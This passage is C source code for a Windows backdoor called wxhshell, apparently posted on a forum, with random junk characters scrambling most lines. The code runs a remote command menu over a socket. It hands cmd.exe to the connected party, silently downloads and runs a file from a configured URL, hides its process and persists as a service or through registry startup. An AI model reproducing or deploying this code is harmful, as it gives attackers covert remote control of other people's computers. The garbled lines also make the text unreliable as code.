  if(DownloadFile(cmd,wsh)) qM!f   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V]kGcS}  
  else eGSp(o56  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O:^LQ  
  } [+MX$y  
  else { G!VF*yW8  
_X2EBpZp  
    switch(cmd[0]) { $FusDdCv3  
  @-&(TRbZo  
  // 帮助 o|;eMO-  
  case '?': { Am4^v?q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;y~{+{{Ow  
    break; 7Cd_zZ  
  } oS#'u 1k  
  // 安装 #;"D)C  
  case 'i': { \9(- /rE  
    if(Install()) Ph#F<e(9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 oj{e9h  
    else ,s><kHJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9sU+IT K4  
    break; ZG@M%|>  
    } %t~SOkx  
  // 卸载 m UWkb  
  case 'r': { U7B/t3,=U  
    if(Uninstall()) "o{)X@YN]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S'!q}|7X 3  
    else )b&-3$?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~3bZ+*H>  
    break; 09 39i_  
    } ! FR%QGn1  
  // 显示 wxhshell 所在路径 2T@L{ql  
  case 'p': { BU9J_rCIv  
    char svExeFile[MAX_PATH]; :/v,r=Y9p  
    strcpy(svExeFile,"\n\r"); hr[B^?6  
      strcat(svExeFile,ExeFile); ,]Ro',A&  
        send(wsh,svExeFile,strlen(svExeFile),0); HUJ|-)"dw  
    break; Lvi[*une|  
    } 8wII{FHX  
  // 重启 ZMoJ#p(  
  case 'b': { @GG(7r\/B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7}?k^x,1  
    if(Boot(REBOOT)) G` ,u40a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3a#PA4Ql  
    else { T0`"kjE  
    closesocket(wsh); n1*&%d'7  
    ExitThread(0); hhpv\1h#  
    } `l>93A  
    break; 8M^wuRn  
    } J;UBnCg  
  // 关机 i s L{9^  
  case 'd': { 2'wr={>W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); " F-Y^  
    if(Boot(SHUTDOWN)) 'ySljo*It  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l#D-q/k?  
    else { &:V@2_6"  
    closesocket(wsh); 7L=T]W  
    ExitThread(0); xfq]9<  
    } #>8T*B  
    break; |JUe>E*  
    } ~{L.f94N  
  // 获取shell LBiowd[  
  case 's': { 6hkkNXqkf  
    CmdShell(wsh); mEoA#U  
    closesocket(wsh);  YywEZ?X  
    ExitThread(0); V: ^JC>6  
    break; _QR g7  
  } T8n-u b<  
  // 退出 F:%^&%\  
  case 'x': { N-[n\}'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Dp*:Q){>E  
    CloseIt(wsh); L@w0N)P<!{  
    break; K~c^*;F  
    } u(W^Nou/+  
  // 离开 Nd`HB=ShJ  
  case 'q': { jFtg.SD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~32Pjk~  
    closesocket(wsh); ~}BJ0P(VMc  
    WSACleanup(); /H')~!Yz  
    exit(1); Bwjg#1E  
    break; a`#S|'oatC  
        } QwBXlO?  
  } Qh\YR\O  
  } 2s 7mI'  
v"rl5x  
  // 提示信息 M Hg6PQIB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K<FKu $=  
} E *BSfn&i  
  } hp*<x4%*a"  
Q uB+vL  
  return; Q:mZ" i5  
} lr WLN  
J{d(1gSZ  
// shell模块句柄 sxo;/~.p  
int CmdShell(SOCKET sock) lzEb5mg  
{ /|?F)%v\  
STARTUPINFO si; +@0TMK,P  
ZeroMemory(&si,sizeof(si)); &&WDo(r3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tw=K&/@^O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a5a1'IVq  
PROCESS_INFORMATION ProcessInfo; 3L>d!qD  
char cmdline[]="cmd"; "A;s56}'&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V$(/0mQV(  
  return 0; (3VGaUlx  
} lV\lj@  
\^&   
// 自身启动模式 r'p =`2=  
int StartFromService(void) ~Q?!W0ZBE  
{ bj}=8k0  
typedef struct M'q'$)e  
{ Ea4_Qmn  
  DWORD ExitStatus; K#!X><B'  
  DWORD PebBaseAddress; # ORO&78  
  DWORD AffinityMask; 4=xq:Tf  
  DWORD BasePriority; i ?;R}%~  
  ULONG UniqueProcessId; rgqQxe=  
  ULONG InheritedFromUniqueProcessId; T1W:>~T5#  
}   PROCESS_BASIC_INFORMATION; y])).p P  
L,?/'!xV  
PROCNTQSIP NtQueryInformationProcess; P]Xbjs<p  
G`F8!O(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @A{m5h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <'+ %\  
FW#P*}#  
  HANDLE             hProcess; .'1SZe7O  
  PROCESS_BASIC_INFORMATION pbi; 3?.1n Gu  
>.<ooWw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rk|a5-i  
  if(NULL == hInst ) return 0; "'a* [%  
FRZs[\I|iT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *V1J4 u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gcf6\f}\<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _1L(7|^~y[  
-.iNNM&a  
  if (!NtQueryInformationProcess) return 0; %}&(h/= e  
A\AT0th  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y]N,.pv=  
  if(!hProcess) return 0; " xR[mJ@U  
_M t Qi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l&W;b6L  
$bsH$N#6T  
  CloseHandle(hProcess); 2(M6(xH>  
zl%>`k!>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AIRr{Y  
if(hProcess==NULL) return 0; .lNs4e  
iY0>lDFm.  
HMODULE hMod; z0bJ?~w,  
char procName[255]; 2i7e#  
unsigned long cbNeeded; uD9|.P}  
kKiA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z42F,4Gk  
nSx]QREL!  
  CloseHandle(hProcess); bAwl:l\`  
L}sx<=8.m  
if(strstr(procName,"services")) return 1; // 以服务启动 hhI)' $  
PRB{VC<k  
  return 0; // 注册表启动 WYrI|^[>  
} ]zfG~^.  
'5KeL3J;  
// 主模块 o "z@&G" ^  
int StartWxhshell(LPSTR lpCmdLine) (%_n!ip^  
{ 7KjUW\mN2Z  
  SOCKET wsl; T=Z.TG|lIx  
BOOL val=TRUE; 0N:XIGFa  
  int port=0; hk>;pU(  
  struct sockaddr_in door; fc_2D|  
Ts$@s^S]  
  if(wscfg.ws_autoins) Install(); \qh *E#j  
q,>?QBct*  
port=atoi(lpCmdLine); 58tVx'1y  
TX [%(ft  
if(port<=0) port=wscfg.ws_port; \ I`p|&vG  
6Jz^  
  WSADATA data; @Xp~2@I=ls  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~b~2 >c9  
q'Wr[A40j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2&!bfq![  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g\SrO {*  
  door.sin_family = AF_INET; E:`v+S_h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #/2$+x  
  door.sin_port = htons(port); jE2}p-2Q0  
lj=l4 &.i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l^MzN  
closesocket(wsl); ufV!+$C)is  
return 1; N_pUv   
} p>vU?eF  
RoGwK*j0+  
  if(listen(wsl,2) == INVALID_SOCKET) { mEyK1h1G @  
closesocket(wsl); SMH<'F7i  
return 1; `Z"Q^  
} }Z-Z|G)#  
  Wxhshell(wsl); X1{[}!  
  WSACleanup(); #|GSQJ$F)`  
\%Ves@hG>  
return 0; ew _-Eb  
uc7Eq45  
} /H7&AiA  
0& >H^  
// 以NT服务方式启动 (Rt7%{*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ".^VI2T  
{ 2%RNq<{Z_  
DWORD   status = 0; x<Vm5j  
  DWORD   specificError = 0xfffffff; /S5| wNu  
c;0Vs,DUmG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Yim<>. !  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Wq*b~Lw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3 >E%e!D%  
  serviceStatus.dwWin32ExitCode     = 0; WQ yLf;!Lz  
  serviceStatus.dwServiceSpecificExitCode = 0; 9O{b]=>wq  
  serviceStatus.dwCheckPoint       = 0; eW5SFY.  
  serviceStatus.dwWaitHint       = 0; HK\~Qnq  
d8-A*W[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); toN^0F?Qm  
  if (hServiceStatusHandle==0) return; q9w~A-Oh`1  
Y!iZW  
status = GetLastError(); rc&%m  
  if (status!=NO_ERROR) JSh.]j<bJL  
{ T91moRv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Bqma\1cgb  
    serviceStatus.dwCheckPoint       = 0; lL1k.& |5m  
    serviceStatus.dwWaitHint       = 0; .EM`.  
    serviceStatus.dwWin32ExitCode     = status; 9zYVC[o  
    serviceStatus.dwServiceSpecificExitCode = specificError; qC F5~;7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D}8EERb  
    return; c'/l,k  
  } r.7$&BCng  
BIuK @$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W9NX=gE4  
  serviceStatus.dwCheckPoint       = 0; quY:pqG38q  
  serviceStatus.dwWaitHint       = 0; McB[|PmC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F:x [  
}  H"A7Zo  
Eke5Nb  
// 处理NT服务事件,比如:启动、停止 %iV^S !e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;b-XWK=  
{ MEB it  
switch(fdwControl) .^B*e6DAD  
{ I`NjqyTW  
case SERVICE_CONTROL_STOP: <&C]s b  
  serviceStatus.dwWin32ExitCode = 0; e7wSOs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &b:1I 7Cp*  
  serviceStatus.dwCheckPoint   = 0; vVOh3{e|  
  serviceStatus.dwWaitHint     = 0; 03C0L&  
  { iLSr*` o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B}^w_C2  
  } 21"1NJzP  
  return; c/sC&i;%O  
case SERVICE_CONTROL_PAUSE: X&kp;W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `V##Y  
  break; ;^Dpl'v%\  
case SERVICE_CONTROL_CONTINUE: p, #o<W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Mo^ od<  
  break; #\=FO>  
case SERVICE_CONTROL_INTERROGATE: F w?[lS  
  break; ZHa"isl$e  
}; $< JaLS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V:joFRH9  
} A}l3cP; `#  
hIT+gnhh  
// 标准应用程序主函数 /'/Xvm3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v/_  
{ n@) K #  
RCpR3iC2  
// 获取操作系统版本 vX.VfY  
OsIsNt=GetOsVer(); 1jcouD5?H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7<*yS310  
H*}y^ )x  
  // 从命令行安装 o2F)%TDY  
  if(strpbrk(lpCmdLine,"iI")) Install(); uLV#SQ=bZN  
A6thXs2  
  // 下载执行文件 tS6qWtE  
if(wscfg.ws_downexe) { (JOgy .5C~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a^I\ /&aw'  
  WinExec(wscfg.ws_filenam,SW_HIDE); F'21jy&  
} ~nay"g:  
.:F%_dS D  
if(!OsIsNt) { LU!a'H'Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 @J/K-.r  
HideProc(); cPlZXf  
StartWxhshell(lpCmdLine); ?Wlb3;  
} 8)_XJ"9)G  
else A PEE ~  
  if(StartFromService()) =c\>(2D  
  // 以服务方式启动 gi1^3R[  
  StartServiceCtrlDispatcher(DispatchTable); rD 3v$B  
else .(cw>7e3D  
  // 普通方式启动 v bZ}Z3f_  
  StartWxhshell(lpCmdLine); Fj2BnM3#  
3EPv"f^V  
return 0; _ 9F9W{'  
}
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只看该作者 1 发表于: 2006-10-10
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